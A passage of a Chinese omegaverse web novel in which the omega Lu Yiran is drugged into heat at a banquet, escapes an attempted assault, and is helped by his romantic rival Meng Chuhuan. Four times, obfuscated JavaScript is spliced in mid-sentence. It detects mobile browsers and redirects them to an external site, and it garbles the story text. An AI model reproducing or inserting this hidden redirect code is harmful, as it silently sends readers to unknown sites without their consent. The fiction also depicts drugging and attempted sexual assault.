本来如果段非真是路亦然的弟弟,孟初欢还打算出来看热闹找乐子。 毕竟就那两个保镖和路亦然的对话而言,路亦然和他这个弟弟关系应该不怎么样。两个关系不睦的人同时出现在宴会,有矛盾就有冲突,有冲突就有乐子,刚好缓解她独自一人度过易感期的无聊。 现在看来,她还是一个人待在房间躺尸吧。 “小姐,这间套房我们一直为您留着,除了保洁没有其他人进过。” 孟初欢刷卡进门,四处看了看,对站在门外的经理笑了笑,“挺好的,你去忙吧,我有需要再叫你。” 经理走后,孟初欢躺倒在床上,隔着防溢贴摸了摸后颈腺体,比起酸麻更多的是胀痛感,就像信息素马上就要冲破阀门倾泻而出。 至于这个阀门到底什么时候被冲破,孟初欢也不知道,她只有等。 —— “我不穿,拿走。” “少爷,您就行行好穿上吧!”中年beta把礼服盒捧到背过身去的omega面前。 “吴伯,我真的不想穿。”路亦然拿过礼服盒摔进垃圾桶,又扯住中年beta的袖子摇了摇,一双小鹿眼可怜兮兮的,“吴伯,我想回学校,你就帮帮我嘛……” 吴伯叹了口气:“少爷,这……” “吴伯。”一只手推开房门。 吴伯对着来人弯了弯腰:“老爷。” 路亦然朝门口看去,又转过头,表情冷淡,“你来干什么?” 他一字一顿:“绑、架、犯。” 段昌宏没理他的蓄意激怒,只说:“今天是小非的成人宴,看在他的面子上我不跟你发火。” “可别了。”路亦然嗤之以鼻,“你还是跟我发火的好,他的面子我嫌脏。” “你怎么就不能跟小非好好相处?!”段昌宏眉头皱成川字,“小非几次三番跟我说他想你了,希望你能来他的成人宴,希望能收到哥哥的祝福。你以为我为什么派人去学校接你过来,是小非说他不想让你一个人孤单地在外面,想让你感受家人的陪伴!” “呵,家人?”路亦然抬眸看着自己生物学上的父亲,“是指你这个杀人犯吗?还是指另外两个帮凶?” 他说完这句话后,空气都变得沉默又凝滞,过了好一会儿,一直僵站着的段昌宏才避开对面omega投来的刺骨视线,转过头看向了吴伯。 “吴伯。”他看向垃圾桶里的礼服盒,眉毛拧起,“少爷到现在都还没换好礼服,你是怎么办事的?” “是我自己不想换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628394|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,关吴伯什么事。”路亦然嗤了声,“我看你是脑子有毛病。” 段昌宏额头突突地跳,虽然说了今天不跟这逆子发火,但逆子说的这些话就没有一个字是不挤兑他的。 “再给你们半个小时,要是还换不好衣服,吴伯就可以去结工资了。” 说完这话,段昌宏就走了。 隔了几分钟,有人送来了新的礼服,吴伯接过盒子,走到路亦然面前,“少爷,您——” “我换。”路亦然拿过礼服盒,“吴伯,你先出去吧。” 他背过身,“你放心,我不会让你丢工作的。” 晚上七点,宴会准时开始。 段昌宏做开场白,然后是段非亮相,路亦然对于看他们俩的父子情深戏码没什么兴趣,找了个角落的位置闷头吃蛋糕,这家酒店的蛋糕还挺好吃,不过还是比不上他做的。 段昌宏这次也邀请了陈家,不过来的人是陈百川他爸,但凡陈百川来了,他都不会无聊到只能吃蛋糕的地步。 光吃蛋糕有点腻,路亦然拿了杯白水,又拿了点牛排和鸡翅,还拿了个水果拼盘,他被绑过来到现在也还没吃午饭,现在正好给胃进货。 偏偏有人不想让他好好吃饭,才吃到一半,肚子里也就垫了点底,他的好弟弟—— 段非来了。 “哥哥,你这架势弄得好像爸平时饿着你了一样。” 啧,路亦然最讨厌听段非叫他哥,他吃完最后一块牛排,接着吃鸡翅,眼神都不给段非一个,屁股还往远离段非的方向挪了一个位置。 “哥哥,你听不出来我在跟你说话吗?” 路亦然受不了了,这家伙怎么老是打扰自己吃饭,他擦擦嘴,瞥了段非一眼,“你看不出来我在吃饭吗?” 他拿了个空盘子放段非面前,“想吃就自己拿,别老盯着我碗里的。” 段非深吸一口气,咬着腮帮子说:“我不想吃!你以为谁都像你一样只知道吃吗!” 路亦然又吃了块鸡翅,“不想吃就走远点,别打扰我吃饭。” “路亦然!”段非突然加重语气,显然气得不轻,隔了会儿,他又突然笑起来,“哥哥,我最近知道了一点有关路阿姨的东西,你不好奇吗?” “你调查她?”路亦然放下筷子,侧头看向段非,神色冰冷。 “不不不,这怎么能叫调查,这应该叫关心。” 段非突然凑近路亦然,几乎和他贴在了一起,同时也挡住了路亦然的视野。 他附在自己的omega哥哥耳边轻声说:“她有病。” 对面omega的眼神变得更加冰冷,嘴唇也抿得紧紧的,段非笑了声,“哥哥,别这么看我——” “你也有,对吗?” 看见那张讨厌的脸上出现秘密被人戳破的神情,段非笑得更开心了,他还在不断加码,“如果百川哥知道你喜欢他……或者说选择他只是因为你有病,你猜他会怎么想?” “嗯?哥哥。” 喊完这声“哥哥”,段非远离了路亦然,脸上挂着胜利者的笑容,他的目光无意间扫过桌上那杯还剩下一半的白水,唇边笑意更盛。 段非走后,路亦然没了进食的欲望,只是呆坐在椅子上视线没有焦距。 段非的话提及了他从未设想过的事,虽然陈百川现在还不知道自己喜欢他,但总有一天会知道,如果那一天真的到来,如果陈百川真的知道他的病,陈百川会怎么想?他又该怎么办? 到现在,路亦然已经分不清他对陈百川的感情到底是出于对自己病症的妥协,还是出于这么多年的彼此陪伴和依赖。 ……也或许二者都有。 路亦然摇了摇头,喝了口杯子里的水缓解喉间干燥,起身上楼拿着段昌宏给的房卡刷卡进门。 有个词叫酒足饭饱思人欲,虽然他酒没足饭没饱,思的也不是人欲,但他确实需要进房间了。 因为他思的是床欲…… 简而言之,困了,想睡觉。 8. 情期来袭 热……好热…… 当路亦然意识到不对劲的时候,他已经浸泡在了自己的信息素里,满屋子都是铃兰的香气,就连身下的床单上都是一股花香。 发情期到了。 这是他脑袋里冒出的第一个念头。 早不来晚不来偏偏在他被段昌宏绑来宴会的时候来,身上连支抑制剂都没有,更别提人造Alpha信息素了。 但这次的发情期又和以前有点不太一样,以前的发情期总是循序渐进不会一开始就让他这么难熬,但这次…… 路亦然沉沉喘了口气,才刚开始他就有点熬不下去了。 他摸到枕头下的手机,拨通陈百川的号码,“百川哥,我在景厦酒店607房……你能送点抑制剂和人造Alpha信息素过来吗……” 他咬着嘴唇咽下涌到喉口的喘息,“我、我发情期到了……” 对面说了什么路亦然没怎么听清,但他相信陈百川一定会丢下手头的事情,无论那件事情多急多紧迫,第一时间把抑制剂和人造Alpha信息素送过来。 “想找陈百川帮你?” 房间里突然出现第二个人的声音,路亦然眨掉眼中的湿意,向声音的源头看去。 “……骆、丰?” 床上的omega突然瑟缩了一下,随即用被子把自己卷成蚕蛹,被子边被压在身下。 “你怎么进来的?” 如果说之前路亦然只是有所怀疑,那么骆丰的出现则让他坚定了自己的猜测—— 这次的发情期果然是被人设计的,至于这个人是谁……他大概已经猜到了。 omega戒备的神情落在眼底,骆丰瞬间感受到一股快意从心头涌出,他忍不住勾起唇角,靠近床铺,朝omega晃了晃手里的房卡。 “想知道?求我啊。” 骆丰跪上床,不断逼近路亦然,直到他抵上床头退无可退,Alpha深呼吸了一口气,一把掐住omega的下颌,“之前不是那么硬气吗?怎么,现在硬不起来了?” 路亦然在被子里蛄蛹了一下,被子尾巴翘起来把没有防备的骆丰差点踹到床下,他朝床边的Alpha呸了一声,“你这么一张恶心的脸杵在面前……谁能硬得起来啊?” “我看你是不见棺材不落泪!”骆丰拽住被子用力一扯,omega就从里面滚了出来。 顿时,房间里多出一股烈酒的味道,牢牢包裹压制住铃兰香,侵入每一个角落,包括蜷缩在床上的omega。 Alpha的信息素天生就能压制omega,路亦然第一次直面这种生理层面的绝对性压制,整个人都在发抖,汗水立刻就浸湿了衣衫,铃兰信息素也不要钱一样不停地往外溢。 骆丰很想多欣赏一会儿omega狼狈的姿态,但空气里的花香实在太甜太勾人了,他忍不住舔了舔嘴唇,笑得猥琐又阴暗,“我早就说过,要让你求我。” 骆丰是要来真的,而且没有人能够帮自己——路亦然近乎绝望地意识到了这一点,如果真的被骆丰标记…… 不行!不能被标记!任何人都不行! 他一点点地往床边挪,又滚到地面上,膝盖磕出了一大块淤青,很疼,但疼痛能够让他保持清醒。 烈酒的味道越来越浓,近乎将他整个人严丝合缝地包裹起来,路亦然连站起来的力气都没有,只能抖着手指一点点往门口爬。 骆丰像一个狩猎者,看着受伤的猎物带着逃生的期盼留下一个又一个血的脚印,但猎物不知道,他随时可以打碎这种虚无的期盼。 他走到浑身汗湿的omega身旁蹲下,手指碰到湿润的衬衫领口,一点点地往下划,解开了第一颗纽扣,然后是第二颗、第三…… “想让我求你?”omega那双被汗和泪浸透的眸子看过来,勾人得过分,骆丰动作停了一瞬,喉咙下意识地滚动。 “——做梦去吧!” 路亦然抓住长颈瓷瓶的细长一端,用了死力把粗圆一端重重敲在了骆丰头上。 砸完人他没去管骆丰的情况,只是把一块碎瓷片牢牢握在手心,锋利的瓷片割伤皮肉,白瓷瞬间被染红。 疼痛是一把利器,骆丰的信息素在这把利器面前不再具备绝对的压制。路亦然鼓起全身的力气出了房间,敲响了隔壁的房门。 他现在这个状态,哪里都去不了,只能寄希望于隔壁的房间里面是个omega或者beta。 在骆丰的手就要碰上路亦然的腰把他拖回去时,面前紧闭的房门终于开了。 路亦然松了口气,力气尽失的身体再也支撑不住,贴着门框滑坐在了地上。 他仰着头看上面那张脸…… 熟悉得过分。 坏消息:里面是个Alpha。 好消息:这个Alpha是情敌,他不用担心会被标记了。 他伸手牵住孟初欢家居裤的一角,仰视的小鹿眼里满是祈求,“孟初欢……你帮帮我。” 孟初欢:“?” 一觉醒来,给她干哪来了? 发情的omega找临近易感期的Alpha求助?这还是正常的世界吗? 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628395|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么浓郁的omega信息素的气味,她感觉自己的天灵盖都要被冲翻了,后颈的腺体也在蠢蠢欲动。 omega信息素的味道也很熟悉,像她在情敌身上闻见过的香水味…… 她现在知道了,那根本不是什么香水味,而是路亦然信息素的味道——铃兰。 捏了捏眉心,孟初欢抬眸看向额头流了一片血的骆丰,“侵犯omega未遂,要不要我帮你报个警?” 骆丰脸上青筋暴起,眼睛里面全是红血丝,他一拳捶在门框上,门框应声而裂。 “操!又是你个爱多管闲事的煞笔!” 孟初欢掏掏耳朵,瞥了眼被他锤烂的门框,“还是那句话,他是我朋友的弟弟,他的事——” 女Alpha一脚把骆丰踹倒在地上,狐狸眼冰冷又薄凉,“不算闲事。” “还有,记得赔门。” 易感期前夕的Alpha本就暴躁易怒,她也不想发火,但架不住有人非要往她枪口上撞。 踹完人她编辑了一条消息发出去,又看向腿边的omega。 他整个人像才从水里捞出来,头发丝都冒着水汽,空气里的铃兰香也浓得不像话。 很显然,情敌的状态比之前又糟糕了不少,眼睛已经没了焦距,神智明显不清醒,但还知道咬着嘴唇不让喘息声跑出来。 如果面对骆丰侵犯的是这个样子的路亦然,那他应该已经得手了。 后颈腺体酸胀的感觉越来越强烈,孟初欢心里有种不好的预感。 她叹了口气,把腿边双眼失焦的omega抱进屋里,又关上门出来。 “小姐,这个人怎么处理?” 收到孟初欢的信息后,经理立刻带人过来控制住了意欲逃跑的骆丰。 “扔去警局,关久一点,门是他锤坏的,记得索赔。再送点omega抑制剂过来。” 顿了片刻,孟初欢又加了一句:“还有人造Alpha信息素,也送过来。” 骆丰会这么巧碰上刚好处在发情期的路亦然? 说这中间没人设计她是不信的,如果路亦然真是被下了药,omega抑制剂失效也是有可能的。 她又不可能标记他,这种时候人造Alpha信息素是必须的。 等经理走远了,孟初欢才重新打开房门。 一进去她就被满室的铃兰花香扑了个满怀,好闻是好闻,但对于现在的她来说实在太过折磨。 很快,不好的预感应验,她闻到了薄荷的味道,是她的信息素。 ——易感期来了。 9. 被上湿痕 omega的信息素在Alpha易感期时有着比平时强千百倍的吸引力,孟初欢打了一支抑制剂才靠近床上胡乱扯着衣襟的omega。 衬衫之前就被骆丰解了几颗扣子,现在被omega一扯几乎遮不住什么。 孟初欢想给人把扣子扣上,偏偏路亦然闻到她身上的薄荷味还硬要往她身上靠。 嘴里还嘟囔着:“好热……好香,再多一点……” 孟初欢只觉头疼,她拿被子把路亦然裹得只剩个脑袋露在外面,又撕了点床单下来充做绳子,连人带铺盖卷捆成粽子。 粽子虽然还在乱动,但至少蹭不到她身上来了。 做完这些,她又打了支抑制剂,同时释放信息素包裹住床上的粽子。 根据路亦然之前的反应,她的信息素应该能让他好受点。 粽子挣扎的动作减轻了一点,只是发出的声音却更加不堪。 高契合度Alpha的信息素不仅能够缓解omega的发情症状,还能抚慰omega身体和心理上的空虚难耐,给予omega欢愉和快感。 路亦然陷在薄荷味和铃兰香交织的被子卷里,根本无法克制那些令人羞耻的闷哼和喘息,他只能依靠仅存的意志不求孟初欢标记自己。 孟初欢打下第三支抑制剂后,经理终于送来了omega抑制剂和人造Alpha信息素。 不到十分钟的时间,她就用了三支抑制剂,以前一整个易感期也才用三支。 她拆开omega抑制剂,跪上床,从粽子卷里扯出情敌的一只手臂,撩起湿漉漉的衬衫袖子把抑制剂打了进去。 三分钟后,粽子卷外面的那只手开始往孟初欢的腺体摸。 她抓住那只手臂打了第二支omega抑制剂。 又是三分钟,粽子卷蛄蛹到了她怀里,颈后的腺体差一点就要被碰到。 孟初欢啧了声,把不听话的手臂塞回粽子卷,压低眉毛威胁只露出一个头的omega,“再乱动就剁手!” 话落,情敌的眼角落了一滴水下去,接着是第二滴、第三滴、第四滴…… 孟初欢有点懵圈了,她哪里知道发情期的omega情绪会这么脆弱敏感,一句玩笑话都能当真。 她没哄过人,而且发情期的omega也不是她能哄好的。 哭了也好,正好把脑子里的水哭出去,免得老被人阴。破罐破摔的女Alpha心想。 两支omega抑制剂的阵亡足以说明抑制剂失效了,孟初欢拆开一支人造Alpha信息素,把赖在怀里的粽子卷翻了个身,目光看向情敌后颈的防溢贴。 她撕掉防溢贴,注射器的针尖靠近了腺体,一只手按住粽子卷的脑袋,“别乱动,扎伤了腺体我可不负责。” 注射人造Alpha信息素需要和omega的腺体离得很近,针尖还没扎进去,孟初欢就不得不又给自己来了一针抑制剂。 腺体附近的信息素浓度是空气里的好几倍,孟初欢一凑近就感觉要被铃兰香腌入味了,易感期Alpha的凶性一下子就被勾了出来,她差一点就要忍不住把人给标记了。 叹了口气,孟初欢屏住呼吸一鼓作气把注射器里的人造Alpha信息素全推进了情敌的腺体。 不幸中的万幸,人造alpha信息素有用,粽子卷终于安静了下来,路亦然也找回了丢失的理智。 身体被束缚在被子里,他只能转动脑袋观察四周,然后找到了坐在窗边吹冷风的孟初欢。 他张了张嘴却不知道该说什么,最后只叫了一声孟初欢的名字。 开窗后,房间里的信息素散了不少,孟初欢也不用隔几分钟就打一支抑制剂,她回头看了路亦然一眼,“清醒了?” “……嗯。” 随之而来的是长达十多分钟的沉默,两个人都不知道该对彼此说什么,直到路亦然又叫了一声孟初欢的名字。 “我、我好像又有点热了……” 孟初欢起身走过去,果然闻到了突然变浓的铃兰香,她动作利落地拆了支人造Alpha信息素,单腿跪上床。 “转过去,腺体露出来。” 路亦然把缩进被子卷里的脖子伸出来,第一针的时候他没有意识自然察觉不到自己和情敌的姿态有多么不匹配两人的情敌关系。 但现在……他能清楚的感觉到身后的吐息灼热又带着一丝薄荷香,全部喷洒在了他的腺体上。 他忍不住攥住了衣角,紧紧咬着下唇,生怕发出了什么不该发出的声音。 “扎完了,放松。”孟初欢把空掉的注射器扔进垃圾桶,拍了拍粽子卷僵硬的肩膀。 “你能不能把我放出来,不舒服。”路亦然仰着脑袋问身旁的女Alpha。 孟初欢不置可否,三两下解开被子卷,解到一半她突然顿住了。 被子卷内侧整体是湿润潮热的,但谁能告诉她……中间那块特别明显的深色湿痕是什…… 不用了,她已经知道那是什么了。 女Alpha罕见地红了耳朵,她飞快地抛下被子卷转过身去,百般纠结后还是决定提醒情敌:“我觉得……你可能需要换身衣服。” 她已经很含蓄了,没直接说换裤子,但愿情敌能懂她的意思。 不负孟初欢所望,路亦然在看到被子上那块他弄出来的可疑湿痕后,立刻变成了一只煮熟的虾,不用想也知道他裤子后面现在是什么模样,还好孟初欢只看到了被子没看到他后面的样子。 要不然,他以后还怎么面对她。 路亦然重新用被子把自己裹了起来,红着一张脸问孟初欢借了衣服,房间里没有omega的衣服,他只能穿她的,包括内裤。 路亦然换衣服的时候,孟初欢去了浴室,等路亦然叫她的时候又出去。 面前的omega身上穿着她的衣服,很明显不合身,过于宽松的裤腿挽了好几圈,卫衣袖子也是,过大的领口遮不住锁骨,连肩线都隐约露出一点。 路亦然比孟初欢更清楚这身衣服的不合身,孟初欢看到的只是外面,他却能身体力行地感受到长裤底下的那层布料到底有多宽松。 路亦然不是什么都不懂的纯洁白纸,他敢肯定孟初欢肯定超过Alpha平均线一大截了。 情敌走神走得太明显,孟初欢上前抓住卫衣帽子的两根抽绳,把领口缩紧打了个结,“想什么呢?” 路亦然迅速摇头:“没什么。” 总不能说在想你的尺寸吧?感觉会被扫地出门。 孟初欢直觉路亦然在撒谎,但她没有证据,“还没告诉你,我易感期来了。” 看见对面骤然瞪大的小鹿眼,孟初欢勾起一边唇角,莫名起了点逗人的意思,她压低声音:“在易感期Alpha的眼皮子底下穿她的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628396|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服,也不怕我标记你。” 路亦然抓着袖口退了一步,昂着脸:“我们是情敌,情敌之间不能标记。” “是吗?”路亦然退一步,孟初欢就进一步,狐狸眼上扬的弧度带着挑逗,“没打人造Alpha信息素之前,你往情敌身上爬得可不少啊。” “我、我那是不清醒!”路亦然后背抵上墙角。 孟初欢还在往前走,最后站在了强装镇定的omega面前,身躯的影子笼罩住墙角的omega,她把手伸向omega颈后,在情敌惊慌的视线下…… 拉出了一块吊牌。 “这么紧张干什么?我是想说,你卫衣吊牌没剪。” 路亦然愣住了,过了两秒,他把孟初欢的手臂打下去,气呼呼道:“这是你的卫衣!是你没剪吊牌,不是我!” 他拉着颈后的吊牌,侧着脑袋看孟初欢,眼尾还有之前在被子卷里挣扎时留下的红痕:“你赶紧剪掉,刮得我好痒。” “咔嚓”一声,孟初欢把剪下来的吊牌扔进垃圾桶,“剪了。” Alpha的易感期可不是说笑的,或许刚开始还没那么强烈,但随着时间推移,她们基因里带着的那点凶性会越来越猖獗,越来越难以压制,即便打了抑制剂也无法完全抑制住。 可能察觉到自己状态的变化,孟初欢后面进了浴室就没再出来,路亦然也怕发情期反复没敢贸然出门。 他把孟初欢床上的被套给换了下来连着他自己的那套湿衣服装进袋子,看到里面的褥子没湿时,路亦然大大地松了口气。 浴室里面有水声,路亦然猜测孟初欢是在冲凉水澡,因为他看的那些小说里就是这么写的。 虽然他很怀疑:这个月份就冲凉水澡真的不会感冒吗? 路亦然一直在等陈百川给他打电话,为了不错过电话他没开静音,在他自己又扎了两支人造Alpha信息素后,终于听到了梦寐以求的手机铃声。 这通电话只持续了几秒,因为陈百川就站在607的门口,他敲门没人应才打了路亦然的电话,被告知他现在在608房间,发情症状也得到了缓解。 陈百川靠着608外面的墙壁等路亦然出来,顺便处理没做完的工作。接到路亦然的电话后,他毫不犹豫立刻出门打车,如果不是路上堵了半个多小时的车,他到这的时间应该更早。 只等了两三分钟,路亦然提着装湿衣服的袋子打开门,“百川哥,走吧!” 路亦然离开后没多久,孟初欢就从浴室出来了,路亦然猜对了一半,她确实在冲澡,但冲的是热水澡,折腾那么久她也出了一身汗,刚好易感期症状加重,等她洗完澡出来情敌也应该走了。 她一眼就看见床上那坨被拆了衣服的褥子,擦头发的动作了都停住了,脑海中不受控制地浮现出白色被套上那团深色湿痕。 不得不说,情敌的这手操作很有“此地无银三百两”的风范,她本来都快忘了,现在又想起来了。 视线扫过桌面,孟初欢走过去拿起桌上那张纸—— TO情敌: 大恩大德没齿难忘,我会为你准备答谢大礼包的! (PS:但我是绝对不会放弃百川哥的!) 孟初欢笑了声,希望真的是答谢大礼包而不是惊吓大礼包,或者情敌battle大礼包。 至于后面那个PS,不好意思,她选择性忽略了。 10. 情敌争锋 骆丰整整一个月都没去学校,路亦然后面才知道他这一个月蹲局子去了,这还是室友姜清告诉他的,不过他比姜清多知道一点—— 他敢打包票,这里面绝对有孟初欢的手笔。 易感期的Alpha最不好惹了,骆丰竟然还敢指着孟初欢的鼻子骂她煞笔,就她那个记仇的性子绝对不会让骆丰好过。 孟初欢的身份路亦然多少还是听陈百川说过一点,孟家几乎是B市最最最顶层的世家,甩了段骆两家不知道多少条街。 也就是骆丰不知道孟初欢是孟家大小姐,否则再借他五百个胆儿也不敢骂她。 不仅不能骂,还得卑躬屈膝处处讨好,虽然路亦然直觉孟初欢应该也不吃这套舔狗大法。 骆丰孟初欢已经帮他教训了,另一个人却还没吃上苦头。 路亦然没有证据没办法光明正大地教训段非,但他不光明正大的手段也多的是。 段家。 因为骆丰的失手,段非的臭脾气已经持续了三天,这三天里他暴怒无常,摔碎的碗筷没有十副也有五副了,好几个佣人还被他用热汤泼了脸,段家的佣人实在苦不堪言。 今天午饭时他又摔碎了一副碗筷,只因为他看到了陈百川发的朋友圈,只有一张图——陈百川和路亦然在火锅店的合照。 段非“砰”得一声重重砸上房间门,抓起桌上的陶瓷笔筒就要往地上摔,不过他没能摔下去,因为他看到了笔筒里面密密麻麻的蜘蛛,还有几只已经爬到了桌面上。 他尖叫一声,把陶瓷笔筒丢远了,笔筒在地上碎得四分五裂,里面的蜘蛛受到惊吓四散而逃,几乎跑遍了整个屋子,段非裤脚上也有一只。 他再度尖叫一声,使劲跺脚让那只蜘蛛下去,然后推开房门就往楼下冲。 “小少爷,这是怎么了?”吴伯拉住他的手臂。 “有、有蜘蛛!我要换房间!”说话时,段非嘴唇都在发抖,如果不是吴伯托住他的手臂,只怕会腿软摔在地上。 蜘蛛是他从小到大最害怕的东西,知道这一点的没多少人,他狠狠咬着苍白的下唇,惊愤交加下整个人都在发抖,指甲已经嵌进了掌心。 “路、亦、然!” 说完这三个字,他把牙齿都咬出了血。 —— 距离易感期已经过去了一个月,孟初欢却还没看到情敌承诺给她的答谢大礼包,不仅没见到大礼包,情敌本人也没见到几次。 不止如此,孟初欢还发现情敌在躲着她。 比如在食堂吃饭时,如果路亦然看见她和陈百川坐在一起,会立马改变路线选个离她们远远的地方坐着。 再比如大二临床医学系的专业课虽然多,但路亦然总能抽出时间去旁听大三经管系的课,为的就是盯紧她,免得他的百川哥被她悄悄攻略到手了。 然而,这一个月以来,路亦然一次都没有去她们班上旁听过。 再再比如她和路亦然都知道陈百川有夜跑的习惯,两个人为了提防对方趁着夜跑的机会接近陈百川都选择陪着陈百川一起夜跑。 但这一个月以来,路亦然一次都没有来夜跑过,也可能来了但没跟她和陈百川一起。 …… 诸如此类的事情还有很多,孟初欢一边欣慰于她的追爱之路变得坦荡无比,一边又感慨耳边少了个叽叽喳喳的声音还真有点不习惯。 情敌平时厚比城墙的脸皮,过了一次发情期就变得薄如蝉翼了。 两人没亲没抱……行吧,就抱了一下,也没标记,最多最多就是路亦然穿了一套她的衣服走还把她的被□□脏了,就连那床被套最后也被他带走了。 就这?有什么好不自在的? 所有能够佐证两人在酒店房间尴尬相处的证据都被他带走了,还有什么不自在的? 嗯……孟初欢想了一想,貌似、大概、好像她也是可以佐证的证据之一? 这样说的话,情敌躲她也情有可原了。 然而实际上,路亦然的真实想法与孟初欢猜测的不能说一模一样,只能说毫不相干。 上次发情期那事儿可能是有那么一点不自在,但也就只有那么一点点点点,还远远达不到能让他躲着孟初欢为她的爱情铺路的程度。 不管那天晚上他和孟初欢在酒店发生了什么,虽然但是他们本来就没发生什么,路亦然只坚决贯彻落实一个方针,那就是—— 坚决拥护情敌的战略位置不动摇! 情敌就是情敌,情敌是不可能变成其他什么身份的!!! 路亦然也确实在躲人,但躲的不是孟初欢,而是陈百川。 虽然段非这个人又蠢又坏又讨厌,但他在宴会上说的那些话却实实在在戳到了路亦然的死穴。 最直接的结果就是:路亦然没办法保证自己和陈百川相处的时候不被对方发现端倪。 他聪明的脑袋瓜想了很久,才终于想出来这么个助(情)敌八百自损一千的对策——那就是不面对、不相处! 如果孟初欢知道他的想法,一定会在易燃易爆炸、谜语人、小气鬼等基础上给情敌再加一个笨蛋标签。 有一说一,直面陈百川他不一定会发现端倪,但躲着陈百川他百分之一百二会发现路亦然的不对劲。 果不其然,一个月明星稀的夜晚,陈百川站在O栋寝室楼下守株待鹿,看见熟悉的身影出现在O栋前方,只是却在看见自己时突然转身欲逃,他毫不犹豫开口:“小然!” 不远处某只心虚鹿的动作猛地顿住,过了好几秒才迟钝地转身,慢吞吞走到陈百川面前,迎接来自猎户的审判。 —— 孟初欢发现,情敌的脸皮又厚回来了。 她坦荡的追爱之路仅维持了一个多月就惨遭滑铁卢,更悲哀的是经过这一个多月,她和陈百川的关系并没有实质上的进展。 硬要说有的话大概也就是从朋友1.0版本升级成了朋友2.0版本,也许升到plus版本的时侯才会有稍微明显一点的进展。 接触越深,了解越多。 孟初欢发现陈百川这个人就属于那种“心中无恋爱,拔剑自然神”的类型,是个绝对纯天然零添加的事业狂魔。 第一次追人就是天崩地狱开局,对面还有个随时添乱的竹马情敌,孟初欢……孟初欢只觉心累。 说真的,她有点后悔当初拒绝了母上大人的经验传授,她没见过猪跑更没吃过猪肉,但孟临好歹吃过猪肉,虽然有很大可能这猪肉还是她爸费老大劲儿主动塞给母上大人的。 但至少吃过不是吗? 只可惜她的脸皮尚且没有厚到足够支撑她再去求孟临传授经验的地步。 转念一想,她是天崩地狱开局,路亦然又何尝不是? 这么一来……她和情敌半斤八两,自己还是有很大胜算的。 不管孟初欢的追爱之路坦不坦荡,总之时间走得是无比坦荡,没几天就是五月二十号——孟初欢期待已久的那场音乐会就要来了。 音乐会门票是网友【小鹿不迷鹿】送的,音乐会地点就在B市瓦兰音乐厅,时间是五月二十日晚六点至九点,音乐会总时长三小时,最最最……最值得注意的是孟初欢的偶像“弥森”会在这场音乐会上演奏新出的曲子,这个消息也是网友【小鹿不迷鹿】告诉她的。 因为这场音乐会的临近,孟初欢这段时间的心情格外好,就算情敌老在她追人的路上使绊子也不怎么记仇了,偶尔还有闲心开开玩笑逗逗情敌。 比如现在—— 路亦然拉上陈百川去学校附近新开的火锅店扫雷,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628397|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果好巧不巧碰上A栋608寝室聚餐——指孟初欢和她的室友赵沫。 作为孟初欢的死党,赵沫自认为她非常有义务为了好姐妹的爱情赴汤蹈火在所不辞,只是促成孟初欢和心上人拼个桌一起吃火锅而已,小菜一碟。 赵班长出马,就没有拿不下来的。 竹马局成功变成情敌争锋局,这把赵班长MVP。 陈百川不是那种吃一堑吃一堑再吃一堑的人,经历过几次情敌组轮番给他夹菜誓要把他喂成天蓬元帅(西天取经版)之后,他这次一开始就明确告知情敌组——别给他夹菜。 俗话说得好,要想抓住一个Alpha的心就得先抓住她/他的胃。 路亦然觉得这句话稍微改动一下也是可行的——要想恶心一个Alpha的心就得先恶心她的胃。 菜品陆续下锅,等时间差不多,路亦然率先从辣锅里捞了一截肥肠起来。 他侧过头微微一笑,手伸向了孟初欢的碗。 “你快尝尝熟了没有。” 孟初欢:“……” (被迫)一起在食堂吃过那么多次饭,她不信路亦然不知道她不喜欢吃肥肠,这人根本就是故意恶心她,甚至都懒得找个好点儿的借口。 什么叫尝尝熟了没有?当她是生熟检测仪吗? 事业狂魔陈百川可能不知道孟初欢不爱吃肥肠,但赵沫却是非常清楚的,她一眼就看出来路亦然这是在挑起战争,正想帮孟初欢挑走那截肥肠,却见她面色如常夹起来吃了,只是在吃完后赶紧喝了口可乐。 “熟了。” 